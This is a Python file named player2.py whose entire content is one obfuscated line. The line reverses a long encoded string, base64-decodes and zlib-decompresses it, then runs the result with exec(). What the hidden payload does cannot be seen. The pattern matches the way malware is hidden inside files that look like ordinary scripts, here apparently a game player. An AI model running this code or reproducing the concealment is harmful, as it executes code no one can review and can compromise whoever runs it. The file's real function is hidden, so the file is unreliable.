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player2.py
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player2.py
1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==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'))